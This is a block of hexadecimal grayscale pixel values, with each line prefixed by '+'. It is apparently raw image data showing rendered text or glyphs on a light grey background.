+D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333B1B1B1 +D6D6D6333333A9A9A9D6D6D6D6D6D6CBCBCB6969693A3A3A3E3E3E797979D2D2D2D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6CDCDCD686868 +3838384040406C6C6C2C2C2CC6C6C6D6D6D6333333B1B1B15C5C5C2C2C2C2C2C2C2E2E2E5C5C5C +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6585858757575D6D6D6D6D6D6D6D6D66464646C6C6CD6D6D6D6D6D6 +333333B1B1B1D6D6D6CBCBCB6969693A3A3A3E3E3E797979D2D2D2D6D6D65C5C5C7E7E7ED6D6D6 +D6D6D6D0D0D0323232878787D6D6D6D6D6D6C2C2C22C2C2CC2C2C2D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D5D5D53C3C3C +8E8E8ED6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6CBCBCB6969693A3A3A3E3E3E797979 +D2D2D2D6D6D6D6D6D67878783F3F3F3131314444449C9C9CD6D6D6D6D6D6363636AEAEAE4F4F4F +323232CECECED0D0D07777774141413939395C5C5CC2C2C2D6D6D63333336868684A4A4A323232 +4C4C4CB7B7B7D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6868686565656D6D6D6D6D6D6 +D6D6D6D6D6D6CBCBCB6969693A3A3A3E3E3E797979D2D2D2D6D6D6D6D6D6363636AEAEAE4F4F4F +323232CECECE343434838383454545353535606060B9B9B96C6C6C3A3A3A3B3B3B919191D6D6D6 +D6D6D6333333B1B1B1D6D6D63434348787874C4C4C323232494949B3B3B3D6D6D6D6D6D6787878 +3F3F3F3131314444449C9C9CD6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D63E3E3E9E9E9ED6D6D6D6D6D6CBCBCB696969 +3A3A3A3E3E3E797979D2D2D2D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6343434797979494949 +343434585858BFBFBFD6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454838383 +CCCCCCCCCCCCCCCCCCCECECED6D6D6D6D6D6333333B1B1B1D6D6D6333333A9A9A9D6D6D6D6D6D6 +5C5C5C666666C8C8C8C0C0C0494949878787D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454838383 +CCCCCCCCCCCCCCCCCCCDCDCDD6D6D6D6D6D66464644F4F4FB7B7B7BBBBBB7E7E7E2C2C2CC6C6C6 +D6D6D6333333B1B1B1D6D6D67B7B7B606060D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6909090 +414141D5D5D5D6D6D6D0D0D0343434A3A3A3D6D6D6D6D6D6333333B1B1B1D6D6D65C5C5C666666 +C8C8C8C0C0C0494949878787D6D6D68F8F8F4D4D4DD6D6D6D6D6D6A6A6A62E2E2E585858D6D6D6 +D6D6D69292924D4D4DD6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D69191912E2E2E747474BFBFBFD6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D65C5C5C666666C8C8C8C0C0C0494949878787D6D6D6D6D6D6AEAEAEC3C3C3 +D3D3D3929292323232CDCDCDD6D6D6313131494949ACACACC5C5C5D6D6D66B6B6B4F4F4FB9B9B9 +CCCCCCA5A5A5D4D4D4D6D6D63333336F6F6FB0B0B0C6C6C65B5B5B585858D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6868686565656D6D6D6D6D6D6D6D6D6D6D6D65C5C5C666666C8C8C8 +C0C0C0494949878787D6D6D6D6D6D6313131494949ACACACC5C5C5D6D6D6313131707070B7B7B7 +BBBBBB3D3D3D3838389A9A9AC8C8C88B8B8B2E2E2EC7C7C7D6D6D6333333B1B1B1D6D6D6313131 +747474B2B2B2C8C8C86161614F4F4FD6D6D6D6D6D6AEAEAEC3C3C3D3D3D3929292323232CDCDCD +D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454838383CCCCCCCCCCCCCCCCCC +CCCCCCCCCCCC3D3D3D9E9E9ED6D6D6D6D6D65C5C5C666666C8C8C8C0C0C0494949878787D6D6D6 +D6D6D6333333A9A9A9D6D6D6D6D6D63333336C6C6CAEAEAEC1C1C1686868454545D4D4D4D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D65454542C2C2C2C2C2C2C2C2C2C2C2C5E5E5ED6D6D6 +D6D6D6333333B1B1B1D6D6D6333333A9A9A9D6D6D6C0C0C02C2C2CCBCBCBD6D6D6D6D6D68A8A8A +545454D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D65454542C2C2C2C2C2C2C2C2C2C2C2C4E4E4ED6D6D6 +C8C8C82E2E2EB4B4B4D6D6D6D6D6D6C1C1C12C2C2CC6C6C6D6D6D6333333B1B1B1D6D6D67B7B7B +606060D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6C5C5C52D2D2DB7B7B7D6D6D6A5A5A5343434 +D0D0D0D6D6D6D6D6D6333333B1B1B1C0C0C02C2C2CCBCBCBD6D6D6D6D6D68A8A8A545454D6D6D6 +C3C3C32C2C2CC4C4C4D6D6D6757575707070303030CFCFCFD6D6D6606060818181D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6B1B1B15353532E2E2E707070C7C7C7D6D6D6D6D6D6C0C0C02C2C2CCBCBCB +D6D6D6D6D6D68A8A8A545454D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6CECECE2C2C2CB7B7B7D6D6D6 +313131A9A9A9D6D6D6D6D6D6C8C8C82D2D2DB7B7B7D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333 +A9A9A9D6D6D6D6D6D69595953A3A3AD6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6868686 +565656D6D6D6D6D6D6D6D6D6C0C0C02C2C2CCBCBCBD6D6D6D6D6D68A8A8A545454D6D6D6D6D6D6 +313131A9A9A9D6D6D6D6D6D6D6D6D6313131ABABABD6D6D6D6D6D66A6A6A636363D6D6D6D6D6D6 +CCCCCC2D2D2DADADADD6D6D6333333B1B1B1D6D6D6313131ABABABD6D6D6D6D6D69D9D9D323232 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6CECECE2C2C2CB7B7B7D6D6D6333333A9A9A9D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D65454542C2C2C2C2C2C2C2C2C2C2C2C2C2C2C2C2C2C2C2C2C9E9E9ED6D6D6 +C0C0C02C2C2CCBCBCBD6D6D6D6D6D68A8A8A545454D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6 +333333A9A9A9D6D6D6D6D6D6CBCBCB2E2E2EACACACD6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333B1B1B1D6D6D6333333 +A9A9A9D6D6D6AAAAAA2C2C2C3131313131313131312E2E2E464646D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6AEAEAE2E2E2ED4D4D4D6D6D6D6D6D6 +C1C1C12C2C2CC6C6C6D6D6D6333333B1B1B1D6D6D67B7B7B606060D6D6D6D6D6D6D6D6D6D6D6D6 